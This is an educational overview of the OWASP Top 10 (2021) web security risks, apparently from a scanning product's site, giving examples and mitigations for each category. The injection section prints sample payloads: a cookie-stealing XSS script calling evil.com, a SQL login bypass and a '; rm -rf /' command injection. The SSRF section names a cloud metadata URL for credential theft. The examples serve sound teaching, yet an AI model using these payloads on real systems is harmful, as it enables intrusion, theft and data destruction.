OWASP Top 10 (2021)

The Open Worldwide Application Security Project (OWASP) publishes a regularly updated list of the ten most critical web application security risks. The 2021 edition reflects the current threat landscape based on data from hundreds of organizations and over 500,000 real-world applications. Every developer, quality engineer, and security professional should understand these categories, recognize vulnerable patterns in code, and know how to defend against them.

A01:2021 — Broken Access Control

Broken Access Control moved from fifth place to the number one most common vulnerability. It occurs when an application fails to properly enforce restrictions on what authenticated users are allowed to do. Attackers can exploit these flaws to access unauthorized functionality or data, modify other users' accounts, or escalate privileges.

Common examples

  • Insecure Direct Object References (IDOR): A user changes a URL parameter like /api/user/123/profile to /api/user/456/profile and views someone else's data because the server does not verify ownership.
  • Missing function-level access control: An admin-only API endpoint like /api/admin/delete-user is accessible to regular users because authorization checks were not implemented on the server side.
  • CORS misconfiguration: Setting Access-Control-Allow-Origin: * allows any website to make authenticated requests to your API.

Mitigations

  • Deny access by default — require explicit grants for every resource and action.
  • Enforce authorization checks on the server side for every request, not just in the UI.
  • Use role-based access control (RBAC) or attribute-based access control (ABAC) consistently.
  • Log access control failures and alert on repeated violations.
  • Disable directory listing on your web server.

A02:2021 — Cryptographic Failures

Previously called "Sensitive Data Exposure," this category focuses on failures related to cryptography that lead to exposure of sensitive data. This includes data in transit and data at rest. When cryptography is missing, weak, or improperly implemented, attackers can intercept or read confidential information like passwords, credit card numbers, health records, and personal data.

Common examples

  • Transmitting data over HTTP instead of HTTPS, allowing man-in-the-middle interception.
  • Using deprecated algorithms like MD5 or SHA-1 for password hashing instead of bcrypt, scrypt, or Argon2.
  • Storing passwords in plaintext or with reversible encryption.
  • Using hard-coded encryption keys in source code.
  • Not enforcing TLS for all pages, especially forms that collect sensitive data.

Mitigations

  • Classify the data your application processes, stores, and transmits. Identify which data is sensitive according to privacy laws and business requirements.
  • Encrypt all sensitive data at rest using strong algorithms (AES-256).
  • Enforce HTTPS everywhere with HTTP Strict Transport Security (HSTS).
  • Use strong, salted hashing functions for passwords (Argon2id is currently recommended).
  • Rotate encryption keys regularly and store them securely (e.g., in a key management service).

A03:2021 — Injection

Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query. SQL injection, NoSQL injection, OS command injection, and LDAP injection are all variants. Cross-Site Scripting (XSS) is also now included in this category. When user input is not validated, filtered, or sanitized, an attacker can alter the intended execution of commands.

Common examples

  • SQL Injection: A login form where the query is built by string concatenation: SELECT * FROM users WHERE name = '" + username + "'. An attacker enters ' OR '1'='1 and bypasses authentication.
  • XSS (Cross-Site Scripting): An application renders user-submitted content without escaping, allowing <script>document.location='https://evil.com/steal?c='+document.cookie</script> to execute in other users' browsers.
  • Command Injection: An application passes user input directly to a system shell, such as exec("ping " + userInput), allowing an attacker to append ; rm -rf /.

Mitigations

  • Use parameterized queries (prepared statements) for all database access. Never concatenate user input into queries.
  • Use an ORM (Object-Relational Mapping) that handles parameterization automatically.
  • Validate and sanitize all user input on the server side. Apply allowlists rather than denylists.
  • Escape output based on the context (HTML, JavaScript, URL, CSS) to prevent XSS.
  • Use Content-Security-Policy headers to mitigate the impact of XSS even if it occurs.

A04:2021 — Insecure Design

This is a new category in the 2021 edition. Insecure Design focuses on risks related to design flaws rather than implementation bugs. Even perfectly implemented code can be insecure if the underlying design does not account for threat modeling and security requirements. This category calls for greater use of threat modeling, secure design patterns, and reference architectures.

Common examples

  • A password recovery flow that uses easily guessable security questions like "What is your mother's maiden name?"
  • A cinema booking system that allows bots to buy all seats without rate limiting, because rate limiting was never considered in the design.
  • A retail application that does not have fraud detection built into the checkout workflow.

Mitigations

  • Integrate threat modeling into your development lifecycle. Use frameworks like STRIDE or PASTA.
  • Establish and use a library of secure design patterns for authentication, access control, and business logic.
  • Write abuse cases and misuse cases alongside normal user stories.
  • Conduct design reviews with a security focus before implementation begins.
  • Implement rate limiting, account lockout, and monitoring as default design requirements.

A05:2021 — Security Misconfiguration

Security misconfiguration is the most common issue found in real-world applications. It happens when security settings are not defined, implemented, or maintained properly. This includes missing security headers, open cloud storage buckets, default credentials, unnecessary features enabled, verbose error messages, and outdated software.

Common examples

  • Default admin credentials left unchanged on a production server or database.
  • Directory listing enabled on a web server, exposing files and folder structures.
  • Detailed error messages shown to users that reveal stack traces, SQL queries, or internal paths.
  • Unnecessary services or ports open on production servers.
  • Missing security headers like X-Content-Type-Options, X-Frame-Options, or Content-Security-Policy.

Mitigations

  • Establish a repeatable hardening process for all environments (development, staging, production).
  • Use automated scanners to verify configurations — CodeFrog checks for missing security headers automatically.
  • Remove or disable unused features, components, documentation, and sample applications.
  • Review and update configurations as part of your patch management process.
  • Use infrastructure-as-code to ensure consistent, auditable configurations.

A06:2021 — Vulnerable and Outdated Components

Modern applications rely heavily on third-party libraries and frameworks. When these components have known vulnerabilities and are not updated, your application inherits those risks. This category also covers components that are no longer maintained (end of life).

Common examples

  • Using an outdated version of a JavaScript library (e.g., jQuery, lodash) with known CVEs.
  • Running an unpatched web server or application framework.
  • Not knowing which versions of dependencies you use (no inventory or SBOM).
  • Transitive dependencies introducing vulnerabilities that the developer is unaware of.

Mitigations

  • Maintain an inventory of all components and their versions (use a Software Bill of Materials).
  • Continuously monitor for vulnerabilities using tools like npm audit, OSV.dev, Dependabot, or Snyk.
  • Remove unused dependencies to reduce your attack surface.
  • Only obtain components from official sources over secure links.
  • Plan for and apply patches promptly — establish a patch management process with defined SLAs.

A07:2021 — Identification and Authentication Failures

Previously called "Broken Authentication," this category covers weaknesses in the identification and authentication process. Applications that do not properly confirm a user's identity, authenticate them securely, or manage sessions can be exploited by attackers to assume other users' identities.

Common examples

  • Permitting brute force attacks by not implementing account lockout or rate limiting on login endpoints.
  • Allowing weak or well-known passwords like "password123" or "admin".
  • Using plaintext or weakly hashed passwords for storage.
  • Missing or ineffective multi-factor authentication (MFA).
  • Session IDs exposed in URLs or not rotated after login.

Mitigations

  • Implement multi-factor authentication to prevent credential stuffing and brute force attacks.
  • Enforce strong password policies and check against lists of breached passwords (e.g., using the Have I Been Pwned API).
  • Use secure session management — generate new session IDs after login, set appropriate timeouts, and invalidate sessions on logout.
  • Implement progressive delays or account lockout after failed login attempts.
  • Never ship with default credentials. Especially for admin accounts.

A08:2021 — Software and Data Integrity Failures

This new category focuses on assumptions made about software updates, critical data, and CI/CD pipelines without verifying integrity. When an application relies on plugins, libraries, or modules from untrusted sources, CDNs, or repositories without integrity verification, attackers can inject malicious code.

Common examples

  • Loading JavaScript libraries from a CDN without Subresource Integrity (SRI) hashes — if the CDN is compromised, malicious code runs on your site.
  • An auto-update mechanism that downloads updates without verifying digital signatures.
  • Insecure deserialization where objects from untrusted sources are deserialized without validation, potentially leading to remote code execution.
  • A CI/CD pipeline that does not verify the integrity of build artifacts or dependencies.

Mitigations

  • Use Subresource Integrity (SRI) for all externally hosted scripts and stylesheets.
  • Verify digital signatures on all software updates and downloaded components.
  • Use a software supply chain security tool to verify that components do not contain known vulnerabilities.
  • Ensure your CI/CD pipeline has proper access controls, segregation, and logging.
  • Avoid insecure deserialization — use simple data formats like JSON and validate input before processing.

A09:2021 — Security Logging and Monitoring Failures

Without proper logging and monitoring, breaches cannot be detected in time. This category covers the failure to detect, escalate, and respond to active breaches. Studies show that the average time to detect a breach is over 200 days — proper logging and monitoring dramatically reduces this window.

Common examples

  • Login failures, access control failures, and input validation failures are not logged.
  • Logs are only stored locally and not backed up or centralized.
  • No alerting thresholds or monitoring dashboards to detect suspicious activity.
  • Penetration tests and scans by automated tools do not trigger any alerts.
  • Log data is not protected against tampering or unauthorized access.

Mitigations

  • Log all authentication events (successful and failed), access control failures, and server-side input validation failures with sufficient context for forensic analysis.
  • Use a centralized log management solution (ELK stack, Splunk, Datadog) and ensure logs are tamper-evident.
  • Establish monitoring and alerting so that suspicious activities are detected and responded to in near real-time.
  • Create an incident response plan and practice it regularly.
  • Use CSP reporting (report-to directive) to monitor for XSS attempts in production.

A10:2021 — Server-Side Request Forgery (SSRF)

SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application into sending a crafted request to an unexpected destination, even through firewalls, VPNs, or network access control lists. With the rise of cloud services and increasingly complex architectures, the severity of SSRF has increased significantly.

Common examples

  • A web application that takes a URL as input to generate a thumbnail or fetch metadata. An attacker supplies http://169.254.169.254/latest/meta-data/ to access AWS instance metadata and steal credentials.
  • A PDF generation service that allows users to specify URLs for images. An attacker points to internal services like http://localhost:6379/ to interact with an internal Redis instance.
  • A webhook feature that does not restrict which addresses can be called, allowing port scanning of internal networks.

Mitigations

  • Validate and sanitize all user-supplied URLs on the server side. Use an allowlist of permitted domains and protocols.
  • Do not send raw server responses to clients — validate response types and content.
  • Disable unnecessary URL schemes (e.g., file://, gopher://, dict://).
  • Use network-level controls: segment remote resource access into separate networks, enforce firewall policies on outbound traffic.
  • Block access to cloud metadata endpoints (e.g., 169.254.169.254) from application servers.
Tip: CodeFrog performs OWASP security scanning as part of its mega report, checking your website for many of these vulnerability categories automatically — including missing security headers (A05), exposed secrets (A02, A07), and outdated components (A06). This gives you a baseline security assessment without requiring specialized security expertise.

Resources